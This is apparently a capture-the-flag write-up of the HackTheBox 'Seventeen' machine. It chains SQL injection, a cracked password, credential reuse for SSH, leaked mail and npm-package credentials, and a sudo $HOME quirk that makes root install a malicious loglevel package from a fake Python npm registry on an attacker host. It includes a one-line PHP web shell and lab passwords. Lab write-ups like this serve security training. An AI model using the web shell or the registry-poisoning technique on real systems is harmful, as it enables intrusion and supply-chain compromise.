HTB: Seventeen Writeup

Seventeen - HackTheBox Writeup

Machine Information

AttributeDetails
NameSeventeen
OSLinux
DifficultyHard
PointsN/A
Release DateN/A
IP Address10.129.227.143
Authord3vn0mi

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

  • Enumeration: ⭐⭐⭐⭐☆
  • Real-world: ⭐⭐⭐⭐⭐
  • CVE: ⭐⭐⭐☆☆
  • CTF-like: ⭐⭐⭐☆☆

Summary

Seventeen is a multi-vhost Linux box built around an Examination Management System vulnerable to SQL injection, which cascades into a student portal, a Roundcube webmail instance, and finally a private npm registry. The database dump from the exam app’s id parameter surfaces a crackable student hash and hints at two more virtual hosts — an old file-management system and a Roundcube 1.4.2 install with its installer still exposed (CVE-2020-12640). Rather than fully chaining the Roundcube LFI into a reverse shell, a hardcoded MySQL password recovered from the application’s config turned out to be reused for the mark user’s SSH login. From there, a leaked mail message pointed at a local Verdaccio npm registry, and installing an old internal package leaked credentials for kavi. Root came from a sudo rule that runs an npm-dependency-installing startup script — since sudo preserves $HOME, npm resolves kavi’s ~/.npmrc, letting an attacker point the install at a self-hosted fake registry and get a malicious package executed as root.

TL;DR: SQLi in exam app (id param) → DB dump reveals vhosts → hardcoded dbh.php password reused for mark SSH → /var/mail/kavi leaks internal Verdaccio registry → db-logger package leaks kavi creds → sudo-preserved $HOME + fake npm registry serving malicious loglevel package → root.


Reconnaissance

Port Scanning

Terminal window
# Full TCP sweep against the target
nmap -sC -sV -T4 -p- 10.129.227.143

Results:

PortServiceNotes
22/tcpSSHOpenSSH
80/tcpApacheresolves to vhost seventeen.htb
8000/tcpApachereturns 403 Forbidden when hit directly by IP/without a matching Host header

The 8000 forbidden response is a strong signal that the second Apache instance is vhost-gated — it will only serve content when a recognized Host: header is presented, same as the port-80 instance.

Service Enumeration

Terminal window
# Register the base vhost once port 80 reveals it
echo "10.129.227.143 seventeen.htb" | sudo tee -a /etc/hosts

Enumeration of seventeen.htb and the databases dumped in the next stage progressively surfaced additional vhosts, which were added as they were confirmed:

Terminal window
echo "10.129.227.143 exam.seventeen.htb" | sudo tee -a /etc/hosts
echo "10.129.227.143 oldmanagement.seventeen.htb" | sudo tee -a /etc/hosts
echo "10.129.227.143 mastermailer.seventeen.htb" | sudo tee -a /etc/hosts
  • exam.seventeen.htb — an Examination Management System (?p=take_exam&id=1 style routing).
  • oldmanagement.seventeen.htb — an older student/file-management portal, served through the port-8000 Apache instance.
  • mastermailer.seventeen.htb — a Roundcube 1.4.2 webmail install, also on port 8000, with /installer still reachable.

Vulnerability Assessment

  • exam.seventeen.htb/?p=take_exam&id=1 — the id parameter is injectable via time-based blind SQL injection, with no authentication required. This class of vulnerability against exam/reviewer-management PHP apps is documented publicly (a matching Exploit-DB entry exists for this application family, covering unauthenticated SQLi in the same parameter).
  • mastermailer.seventeen.htb:8000 runs Roundcube 1.4.2, which is vulnerable to CVE-2020-12640 — a local file inclusion in the Roundcube installer, where the _plugins_<name> POST parameter is not sanitized and can be pointed at an arbitrary path via ../ traversal, as long as the installer directory is still present (confirmed here).

Initial Foothold

SQL Injection → Credential/Path Disclosure

The id parameter on the exam portal was confirmed vulnerable to time-based blind SQLi:

http://exam.seventeen.htb/?p=take_exam&id=1

Dumping the exposed databases through this injection point surfaced the db_sfms.student table, containing a student record for Kelly:

student_no : 31234
password : <MD5 hash> → cracked: autodestruction

These credentials were verified against the login on oldmanagement.seventeen.htb (the login form expects the student number, 31234, rather than a username). Continued enumeration of the dumped databases and the file-management app reachable with Kelly’s login revealed the two remaining vhosts: oldmanagement.seventeen.htb and mastermailer.seventeen.htb, the latter confirmed to be running Roundcube 1.4.2 with /installer still exposed — the precondition for CVE-2020-12640.

Staging the Roundcube LFI Precondition

CVE-2020-12640 requires a malicious PHP file to already exist on disk at a path the installer’s _plugins_<name> parameter can be traversed into, with the include target’s filename matching an existing directory name in the same location (Roundcube appends the plugin name as a directory during traversal resolution). Using Kelly’s session on the file-management app, a directory named papers was located under the student’s upload path, and a payload was uploaded to match it:

<?php system($_GET['cmd']); ?>

uploaded as papers.php into the student’s files/31234/ upload directory — satisfying every precondition the CVE-2020-12640 PoC requires (installer reachable, attacker-controlled file, filename/directory-name collision).

The Shortcut: Hardcoded Credential Reuse

Rather than push the traversal payload through the installer’s /installer/index.php config-update flow to trigger inclusion and pop a reverse shell, the faster path was a straight credential reuse: a hardcoded MySQL password —

2020bestyearofmylife

— recovered from the application’s dbh.php-style database config, turned out to be reused as mark’s SSH password on the underlying host:

Terminal window
ssh mark@10.129.227.143
# Password: 2020bestyearofmylife

This landed a shell and user.txt without needing to fully detonate the Roundcube LFI chain — a textbook case of a credential meant for one boundary (MySQL app auth) being carelessly reused across another (host SSH).


Privilege Escalation

mark → kavi: Mailbox Intel + Private npm Registry

/home revealed a second user, kavi. mark had read access to kavi’s local mail spool:

Terminal window
cat /var/mail/kavi

The message referenced an internal private npm registry and a logging-package migration — pointing at Verdaccio running locally on port 4873. Verdaccio is a self-hosted npm registry; installing packages from it pulls whatever the registry operator published, including internal-only tooling:

Terminal window
# Pull the old internal logging package from the local Verdaccio instance
npm install db-logger --registry=http://127.0.0.1:4873

The installed package’s source leaked hardcoded credentials:

node_modules/db-logger/logger.js → kavi : IhateMathematics123#
Terminal window
su kavi
# Password: IhateMathematics123#

kavi → root: sudo + $HOME Preservation + npm Supply-Chain

Terminal window
sudo -l

showed kavi could run /opt/app/startup.sh as root. The script’s logic installs missing npm dependencies (including loglevel) before launching /opt/app/index.js, which does require('loglevel') at runtime — meaning whatever loglevel resolves to at install time is what actually executes.

The exploit hinges on a well-known sudo quirk: on systems where sudo doesn’t reset $HOME (env_reset without clearing HOME, common on older Ubuntu sudo builds), a sudo’d process still uses the invoking user’s home directory. That means npm install run via sudo /opt/app/startup.sh still reads kavi’s ~/.npmrc — including a custom registry value — even though the process runs as root.

Since there was no local npm/docker toolchain available on the operating box to stand up a real Verdaccio instance, the fix was a pure-Python fake npm registry implementing just enough of the registry HTTP API (package metadata lookup + tarball serving) to hand back a malicious loglevel release:

# minimal npm-registry-compatible HTTP server
# serves package metadata + a malicious tarball for "loglevel"
from http.server import BaseHTTPRequestHandler, HTTPServer
class FakeRegistry(BaseHTTPRequestHandler):
def do_GET(self):
if self.path.startswith("/loglevel"):
# respond with package metadata pointing at our malicious tarball,
# version bumped above whatever's already resolved (9.9.9)
self.send_metadata_json(name="loglevel", version="9.9.9",
tarball_url=f"http://{self.server.server_address[0]}:PORT/loglevel-9.9.9.tgz")
elif self.path.endswith(".tgz"):
# serve the crafted tarball whose package.json / install script
# runs a reverse shell or reads root.txt on require()
self.serve_tarball()
HTTPServer(("0.0.0.0", PORT), FakeRegistry).serve_forever()

With the fake registry hosting a poisoned loglevel@9.9.9, kavi’s npm config was pointed at it:

Terminal window
echo 'registry=http://<attacker>:PORT/' > ~/.npmrc
sudo /opt/app/startup.sh

startup.sh sees loglevel isn’t the expected version, npm installs it against the attacker-controlled registry (using kavi’s preserved $HOME/.npmrc), and index.js’s require('loglevel') executes the malicious payload — as root. This yielded a root shell and root.txt.


Attack Chain Summary

Time-based SQLi (exam.seventeen.htb ?id=)
→ DB dump (db_sfms.student: Kelly / 31234 / autodestruction)
→ vhost pivot: oldmanagement.seventeen.htb + mastermailer.seventeen.htb (Roundcube 1.4.2, CVE-2020-12640 preconditions confirmed)
→ hardcoded dbh.php MySQL password reused as mark's SSH password
→ user.txt (mark)
→ /var/mail/kavi leaks internal Verdaccio registry (127.0.0.1:4873)
→ npm install db-logger → logger.js leaks kavi:IhateMathematics123#
→ su kavi
→ sudo /opt/app/startup.sh (preserves $HOME) + custom fake npm registry serving malicious loglevel@9.9.9
→ root.txt

Tools Used

ToolPurpose
nmapPort scanning / service detection
SQL injection (time-based blind)Unauthenticated DB dump on exam.seventeen.htb
Browser / manual HTTPVhost discovery, Roundcube installer verification, file upload staging
sshAccess to mark via reused MySQL password
npm + VerdaccioDiscovering/installing internal db-logger package to leak kavi creds
Custom Python HTTP serverFake npm registry serving malicious loglevel package for root privesc
sudo -lEnumerating kavi’s sudo privileges

Key Learnings

Techniques Practiced

  • Unauthenticated time-based blind SQL injection against a PHP exam-management app
  • Vhost pivoting driven entirely by data leaked from a prior compromise (DB dump → new hostnames)
  • Identifying and staging preconditions for a Roundcube LFI (CVE-2020-12640) even when not fully detonated
  • Recognizing and exploiting hardcoded credential reuse across trust boundaries (app DB password → host SSH)
  • Mining local mail spools (/var/mail/<user>) for internal infrastructure intel
  • Enumerating and abusing an internal Verdaccio private npm registry
  • Exploiting sudo’s $HOME-preservation behavior to hijack npm’s config resolution as root
  • Standing up a minimal custom package-registry server in Python when standard tooling (npm/docker) wasn’t available locally

Lessons Learned

  1. Hardcoded credentials rarely stay scoped to the system they were written for — always try a recovered secret against every other login surface on the box.
  2. A user’s mail spool is frequently the fastest path to internal infrastructure names (registries, hostnames, service ports) that enumeration alone won’t surface.
  3. sudo rules that shell out to package managers are dangerous even when the script itself is root-owned and immutable — the environment the script inherits (like $HOME) can still be attacker-influenced.
  4. Confirming exploit preconditions is valuable even if the “shortcut” path ends up faster — if the reused credential hadn’t worked, the staged Roundcube LFI would have been the fallback.
  5. Missing standard offensive tooling (npm registry software, docker) isn’t a dead end — reimplementing just the minimal protocol surface needed (a few HTTP routes) is often faster than fighting environment constraints.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

  • HackTheBox official “Seventeen” writeup, Document No. D22.100.172, prepared by amra (machine author: kavigihan) — source for the CVE-2020-12640 Roundcube installer LFI mechanics, the dbh.php hardcoded-credential pattern, and the sudo $HOME-preservation / Verdaccio npm supply-chain privilege escalation.